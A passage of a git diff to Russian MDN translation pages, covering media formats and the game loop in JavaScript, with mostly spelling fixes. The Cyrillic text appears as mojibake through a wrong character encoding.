ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚.</p>
+<p><span class="seoSummary">{{ HTMLElement("audio") }} ΠΈ {{ HTMLElement("video") }} элСмСнты ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ для проигрывания Π°ΡƒΠ΄ΠΈΠΎ ΠΈ Π²ΠΈΠ΄Π΅ΠΎ ΠΌΠ΅Π΄ΠΈΠ° Π±Π΅Π· Π½ΡƒΠΆΠ΄Ρ‹ Π² ΠΏΠ»Π°Π³ΠΈΠ½Π°Ρ…. </span>Π€ΠΎΡ€ΠΌΠ°Ρ‚ ΠΌΠ΅Π΄ΠΈΠ°Ρ„Π°ΠΉΠ»Π° состоит ΠΈΠ· ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°, содСрТащСго ΠΎΠ΄ΠΈΠ½ ΠΈΠ»ΠΈ нСсколько ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ² Π΄Π°Π½Π½Ρ‹Ρ…, Π·Π°ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… с использованиСм Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π° сТатия, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π΅ΠΊΠΎΠΌ. ΠšΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ идСнтифицируСтся ΠΏΠΎ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡŽ Ρ„Π°ΠΉΠ»Π°. ΠŸΠΎΡ‚ΠΎΠΊΠΈ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° ΠΈΠΌΠ΅ΡŽΡ‚ нСсколько Ρ‚ΠΈΠΏΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π² сСбя Π²ΠΈΠ΄Π΅ΠΎ, Π°ΡƒΠ΄ΠΈΠΎ, Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ»ΠΈ Ρ‚ΠΈΡ‚Ρ€Ρ‹. Один ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ (Ρ‚. Π΅. ΠΌΠ΅Π΄ΠΈΠ°Ρ„Π°ΠΉΠ») ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ нСсколько ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ² ΠΎΠ΄Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ°. Π’ Π°ΡƒΠ΄ΠΈΠΎ- ΠΈ Π²ΠΈΠ΄Π΅ΠΎ- ΠΏΠΎΡ‚ΠΎΠΊΠ°Ρ… находятся ΠΊΠΎΠ΄Π΅ΠΊΠΈ. КодСк β€” сокращСниС слов "ΠΊΠΎΠ΄Π΅Ρ€Π°-Π΄Π΅ΠΊΠΎΠ΄Π΅Ρ€" β€” являСтся Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΠΎΠΌ сТатия Π΄Π°Π½Π½Ρ‹Ρ… Π² Ρ„Π°ΠΉΠ»Π΅. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ‚ΠΈΠΏ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ ΠΊΠΎΠ΄Π΅ΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ½ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚.</p>
<p>Π’Π°ΠΆΠ½ΠΎ ΠΏΠΎΠ½ΡΡ‚ΡŒ, ΠΏΠΎΡ‡Π΅ΠΌΡƒ Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅ Π½ΡƒΠΆΠ½Ρ‹ Ρ€Π°Π·Π½Ρ‹Π΅ ΠΌΠ΅Π΄ΠΈΠ°Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρ‹. По Ρ€Π°Π·Π½Ρ‹ΠΌ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ, выходящим Π·Π° Ρ€Π°ΠΌΠΊΠΈ Π΄Π°Π½Π½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠΈ, Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ Ρ€Π°Π·Π½Ρ‹Π΅ ΠΌΠ΅Π΄ΠΈΠ°Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρ‹. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΎΠ±Π»Π°ΡΡ‚ΡŒ ΠΌΠ΅Π΄ΠΈΠ°Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΎΠ² Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅ сильно пострадала ΠΎΡ‚ ΠΏΠ°Ρ‚Π΅Π½Ρ‚Π½ΠΎΠ³ΠΎ ΠΏΡ€Π°Π²Π° Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΡ… странах, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ БША ΠΈ страны Π•Π‘. (ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΡ ΠΊ ΠΏΠ°Ρ‚Π΅Π½Ρ‚Π°ΠΌ Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ Π΅ΡΡ‚ΡŒ, Ρ‚Π°ΠΊ ΠΈ Π±Π΅Π· ΠΊΠ°ΠΊΠΈΡ…-Π»ΠΈΠ±ΠΎ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΠΉ.) Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°ΡŽΡ‚ΡΡ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ Π²Π°ΠΆΠ½Ρ‹Π΅ для Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π° Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρ‹, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… ΠΊΠ°ΠΊ ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ…, Ρ‚Π°ΠΊ ΠΈ дСсктопных .</p>
diff --git a/files/ru/games/anatomy/index.html b/files/ru/games/anatomy/index.html
index 91949c9ac0..b3022fa527 100644
--- a/files/ru/games/anatomy/index.html
+++ b/files/ru/games/anatomy/index.html
@@ -18,17 +18,17 @@ original_slug: Games/Анатомия
<p>ΠžΡΠΎΠ±Π΅Π½Π½ΠΎΡΡ‚ΠΈ ΠΈΠ³Ρ€.</p>
-<p>НСкоторыС ΠΈΠ³Ρ€Ρ‹ ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ своим Ρ†ΠΈΠΊΠ»ΠΎΠΌ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π²Π²ΠΎΠ΄Π°. ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Ρ€Π°Π·Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚Π΅ ΠΈΠ³Ρ€Ρƒ Ρ‚ΠΈΠΏΠ° <em>"Π½Π°ΠΉΠ΄ΠΈ Ρ€Π°Π·Π½ΠΈΡ†Ρƒ ΠΌΠ΅ΠΆΠ΄Ρƒ этими двумя ΠΏΠΎΡ…ΠΎΠΆΠΈΠΌΠΈ ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΠ°ΠΌΠΈ"</em>. Π’Π°ΠΊΠΎΠ³ΠΎ Ρ€ΠΎΠ΄Π° ΠΈΠ³Ρ€Ρ‹ <strong>ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚</strong> ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ Π΄Π²Π΅ ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΠΈ; ΠΎΠ½ΠΈ <strong>ΠΏΠΎΠ»ΡƒΡ‡Π°ΡŽΡ‚</strong> ΠΈΡ… ΠΊΠ»ΠΈΠΊΠΈ (ΠΈΠ»ΠΈ касания); ΠΎΠ½ΠΈ <strong>ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΡŽΡ‚</strong> Π²Π²ΠΎΠ΄ Π² ΡƒΡΠΏΠ΅ΡˆΠ½Ρ‹ΠΉ , Π½Π΅ ΡƒΡΠΏΠ΅ΡˆΠ½Ρ‹ΠΉ, ΠΏΠ°ΡƒΠ·Π°, Ρ€Π°Π±ΠΎΡ‚Π° с мСню, ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅; Π² ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ ΠΈΡ‚ΠΎΠ³Π΅, Π² зависимости ΠΎΡ‚ Π΄Π°Π½Π½Ρ‹Ρ… дСйствий, ΠΎΠ½ΠΈ <strong>Π²Ρ‹Ρ‡ΠΈΡΠ»ΡΡŽΡ‚</strong> ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Π½ΠΎΠ΅ состояниС сцСны. Π˜Π³Ρ€ΠΎΠ²ΠΎΠΉ Ρ†ΠΈΠΊΠ» продвигаСтся ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΌΠΈ дСйствиями ΠΈ "спит" ΠΏΠΎΠΊΠ° Ρ‚Π°ΠΊΠΎΠ²Ρ‹Π΅ ΠΎΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‚. Π­Ρ‚ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚Π°ΠΊ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΠΎΠΉΒ ΠΏΠΎΡˆΠ°Π³ΠΎΠ²ΠΎΠΉ ΠΈΠ³Ρ€Ρ‹, которая Π½Π΅ зависит ΠΎΡ‚ постоянного обновлСния ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΊΠ°Π΄Ρ€Π°, Π° Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΡ‚ дСйствий ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</p>
+<p>НСкоторыС ΠΈΠ³Ρ€Ρ‹ ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ своим Ρ†ΠΈΠΊΠ»ΠΎΠΌ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π²Π²ΠΎΠ΄Π°. ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Ρ€Π°Π·Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚Π΅ ΠΈΠ³Ρ€Ρƒ Ρ‚ΠΈΠΏΠ° <em>"Π½Π°ΠΉΠ΄ΠΈ Ρ€Π°Π·Π½ΠΈΡ†Ρƒ ΠΌΠ΅ΠΆΠ΄Ρƒ этими двумя ΠΏΠΎΡ…ΠΎΠΆΠΈΠΌΠΈ ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΠ°ΠΌΠΈ"</em>. Π’Π°ΠΊΠΎΠ³ΠΎ Ρ€ΠΎΠ΄Π° ΠΈΠ³Ρ€Ρ‹ <strong>ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚</strong> ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ Π΄Π²Π΅ ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΠΈ; ΠΎΠ½ΠΈ <strong>ΠΏΠΎΠ»ΡƒΡ‡Π°ΡŽΡ‚</strong> ΠΈΡ… ΠΊΠ»ΠΈΠΊΠΈ (ΠΈΠ»ΠΈ касания); ΠΎΠ½ΠΈ <strong>ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΡŽΡ‚</strong> Π²Π²ΠΎΠ΄ Π² ΡƒΡΠΏΠ΅ΡˆΠ½Ρ‹ΠΉ , Π½Π΅ ΡƒΡΠΏΠ΅ΡˆΠ½Ρ‹ΠΉ, ΠΏΠ°ΡƒΠ·Π°, Ρ€Π°Π±ΠΎΡ‚Π° с мСню, ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅; Π² ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ ΠΈΡ‚ΠΎΠ³Π΅, Π² зависимости ΠΎΡ‚ Π΄Π°Π½Π½Ρ‹Ρ… дСйствий, ΠΎΠ½ΠΈ <strong>Π²Ρ‹Ρ‡ΠΈΡΠ»ΡΡŽΡ‚</strong> ΠΎΠ±Π½ΠΎΠ²Π»Ρ‘Π½Π½ΠΎΠ΅ состояниС сцСны. Π˜Π³Ρ€ΠΎΠ²ΠΎΠΉ Ρ†ΠΈΠΊΠ» продвигаСтся ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΌΠΈ дСйствиями ΠΈ "спит" ΠΏΠΎΠΊΠ° Ρ‚Π°ΠΊΠΎΠ²Ρ‹Π΅ ΠΎΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‚. Π­Ρ‚ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚Π°ΠΊ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΠΎΠΉΒ ΠΏΠΎΡˆΠ°Π³ΠΎΠ²ΠΎΠΉ ΠΈΠ³Ρ€Ρ‹, которая Π½Π΅ зависит ΠΎΡ‚ постоянного обновлСния ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΊΠ°Π΄Ρ€Π°, Π° Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΡ‚ дСйствий ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</p>
<p>Π”Ρ€ΡƒΠ³ΠΈΠ΅ ΠΈΠ³Ρ€Ρ‹ Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ контроля Π½Π°Π΄ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ ΠΈΠ· минимально Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½Ρ‹Ρ… Π²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»ΠΎΠ². Π’Π΅ ΠΆΠ΅ ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΡ‹, Ρ‡Ρ‚ΠΎ ΠΈ Π²Ρ‹ΡˆΠ΅, ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ с нСбольшим ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ΠΌ: ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΊΠ°Π΄Ρ€ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Π΅Ρ‚ Ρ†ΠΈΠΊΠ», ΠΈ любоС ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π²Π²ΠΎΠ΄Π° фиксируСтся Π½Π° ΠΏΠ΅Ρ€Π²ΠΎΠΌ доступном Ρ…ΠΎΠ΄Π΅. Π­Ρ‚Π° покадровая модСль Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π° Π² Ρ‚Π°ΠΊ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΠΎΠΌ <strong>основном Ρ†ΠΈΠΊΠ»Π΅</strong>. Если ваша ΠΈΠ³Ρ€Π° зацикливаСтся Π½Π° Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, Ρ‚ΠΎ это Π±ΡƒΠ΄Π΅Ρ‚ Π΅Ρ‘ полномочия, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΡΠΎΠ±Π»ΡŽΠ΄Π°Ρ‚ΡŒ ваши симуляции.</p>
<p>Но покадровоС ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈ Π½Π΅ ΠΏΠΎΠ½Π°Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ. Π’Π°Ρˆ ΠΈΠ³Ρ€ΠΎΠ²ΠΎΠΉ Ρ†ΠΈΠΊΠ» ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΡ…ΠΎΠΆ Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <em>поиска ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠΉ</em> ΠΈ основан Π½Π° Π²Ρ…ΠΎΠ΄Π½Ρ‹Ρ… событиях. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΎΠ²Π°Ρ‚ΡŒΒ ΠΊΠ°ΠΊ Π²Π²ΠΎΠ΄Π°, Ρ‚Π°ΠΊ ΠΈ симуляции Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ. Он ΠΌΠΎΠΆΠ΅Ρ‚ Π΄Π°ΠΆΠ΅ Π·Π°Ρ†ΠΈΠΊΠ»ΠΈΠ²Π°Ρ‚ΡŒΡΡ Π½Π° Ρ‡Π΅ΠΌ-Ρ‚ΠΎ ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π½ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠΌ.</p>
-<p>Π‘ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΉ JavaScript, ΠΊΠ°ΠΊ описано Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Ρ€Π°Π·Π΄Π΅Π»Π°Ρ…, ΠΊ ΡΡ‡Π°ΡΡ‚ΡŒΡŽ, позволяСт Π»Π΅Π³ΠΊΠΎ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ эффСктивный основной Ρ†ΠΈΠΊΠ» выполнСния ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π· Π² ΠΊΠ°Π΄Ρ€. ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ, ваша ΠΈΠ³Ρ€Π° Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π° Π½Π°ΡΡ‚ΠΎΠ»ΡŒΠΊΠΎ, насколько Π²Ρ‹ Π΅Π΅ сдСлаСтС. Если Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ выглядит Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ Π±ΡƒΠ΄Ρ‚ΠΎ ΠΎΠ½ΠΎ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Π΅Π½ΠΎ ΠΊ Π±ΠΎΠ»Π΅Π΅ Ρ€Π΅Π΄ΠΊΠΎΠΌΡƒ исходу, Ρ‚ΠΎ часто Π±Ρ‹Π²Π°Π΅Ρ‚ Ρ…ΠΎΡ€ΠΎΡˆΠ΅ΠΉ ΠΈΠ΄Π΅Π΅ΠΉ Π²Ρ‹Ρ€Π²Π°Ρ‚ΡŒ Π΅Π³ΠΎ ΠΈΠ· основного Ρ†ΠΈΠΊΠ»Π° (Π½ΠΎ Π½Π΅ всСгда).</p>
+<p>Π‘ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΉ JavaScript, ΠΊΠ°ΠΊ описано Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Ρ€Π°Π·Π΄Π΅Π»Π°Ρ…, ΠΊ ΡΡ‡Π°ΡΡ‚ΡŒΡŽ, позволяСт Π»Π΅Π³ΠΊΠΎ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ эффСктивный основной Ρ†ΠΈΠΊΠ» выполнСния ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π· Π² ΠΊΠ°Π΄Ρ€. ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ, ваша ΠΈΠ³Ρ€Π° Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π° Π½Π°ΡΡ‚ΠΎΠ»ΡŒΠΊΠΎ, насколько Π²Ρ‹ Π΅Ρ‘ сдСлаСтС. Если Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ выглядит Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ Π±ΡƒΠ΄Ρ‚ΠΎ ΠΎΠ½ΠΎ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Π΅Π½ΠΎ ΠΊ Π±ΠΎΠ»Π΅Π΅ Ρ€Π΅Π΄ΠΊΠΎΠΌΡƒ исходу, Ρ‚ΠΎ часто Π±Ρ‹Π²Π°Π΅Ρ‚ Ρ…ΠΎΡ€ΠΎΡˆΠ΅ΠΉ ΠΈΠ΄Π΅Π΅ΠΉ Π²Ρ‹Ρ€Π²Π°Ρ‚ΡŒ Π΅Π³ΠΎ ΠΈΠ· основного Ρ†ΠΈΠΊΠ»Π° (Π½ΠΎ Π½Π΅ всСгда).</p>
<h2 id="ΠŸΠΎΡΡ‚Ρ€ΠΎΠ΅Π½ΠΈΠ΅_основного_Ρ†ΠΈΠΊΠ»Π°_Π²_JavaScript">ΠŸΠΎΡΡ‚Ρ€ΠΎΠ΅Π½ΠΈΠ΅ основного Ρ†ΠΈΠΊΠ»Π° Π²Β JavaScriptΒ </h2>
-<p>Π›ΡƒΡ‡ΡˆΠ΅ всСго JavaScriptΒ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ с событиями ΠΈΒ callback функциями.Β Π‘ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ стрСмятся Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΏΠΎ ΠΌΠ΅Ρ€Π΅ нСобходимости ΠΈ Π±Π΅Π·Π΄Π΅ΠΉΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ (ΠΈΠ»ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π·Π°Π΄Π°Ρ‡ΠΈ) Π² ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΊΠ°Ρ….Β ΠŸΡ€ΠΈΠ²ΡΠ·Π°Ρ‚ΡŒ ΠΊΠΎΠ΄ ΠΊ ΠΌΠΎΠΌΠ΅Π½Ρ‚Ρƒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ для Π½Π΅Π³ΠΎ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ β€” это отличная идСя.Β Β ΠŸΠΎΠ΄ΡƒΠΌΠ°ΠΉΡ‚Π΅ ΠΎ Ρ‚ΠΎΠΌ, Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π»ΠΈ ваша функция Π΄ΠΎΠ»ΠΆΠ½Π° Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ Π½Π° строго ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Π΅ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΊΠ°Π΄Ρ€Π΅ ΠΈΠ»ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π΅Ρ‰Π΅.Β  ΠŸΠΎΠ΄ΡƒΠΌΠ°ΠΉΡ‚Π΅ ΠΎ Ρ‚ΠΎΠΌ, Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π»ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π½ΡƒΠΆΠ½ΠΎ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Π΅Β Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, Π½Π° ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΊΠ°Π΄Ρ€ ΠΈΠ»ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚. Π‘ΠΎΠ»ΡŒΡˆΠ΅ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚ΠΈΠΊΠΈ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ Π² Ρ‚ΠΎΠΌ, ΠΊΠΎΠ³Π΄Π° функция Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π·Π²Π°Π½Π°, позволяСт Сму Π»ΡƒΡ‡ΡˆΠ΅ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ этот процСсс. Π’Π°ΠΊ ΠΆΠ΅, вСроятно, это ΠΎΠ±Π»Π΅Π³Ρ‡ΠΈΡ‚ Π²Π°ΠΌ Ρ€Π°Π±ΠΎΡ‚Ρƒ.Β Β Β </p>
+<p>Π›ΡƒΡ‡ΡˆΠ΅ всСго JavaScriptΒ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ с событиями ΠΈΒ callback функциями.Β Π‘ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ стрСмятся Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΏΠΎ ΠΌΠ΅Ρ€Π΅ нСобходимости ΠΈ Π±Π΅Π·Π΄Π΅ΠΉΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ (ΠΈΠ»ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π·Π°Π΄Π°Ρ‡ΠΈ) Π² 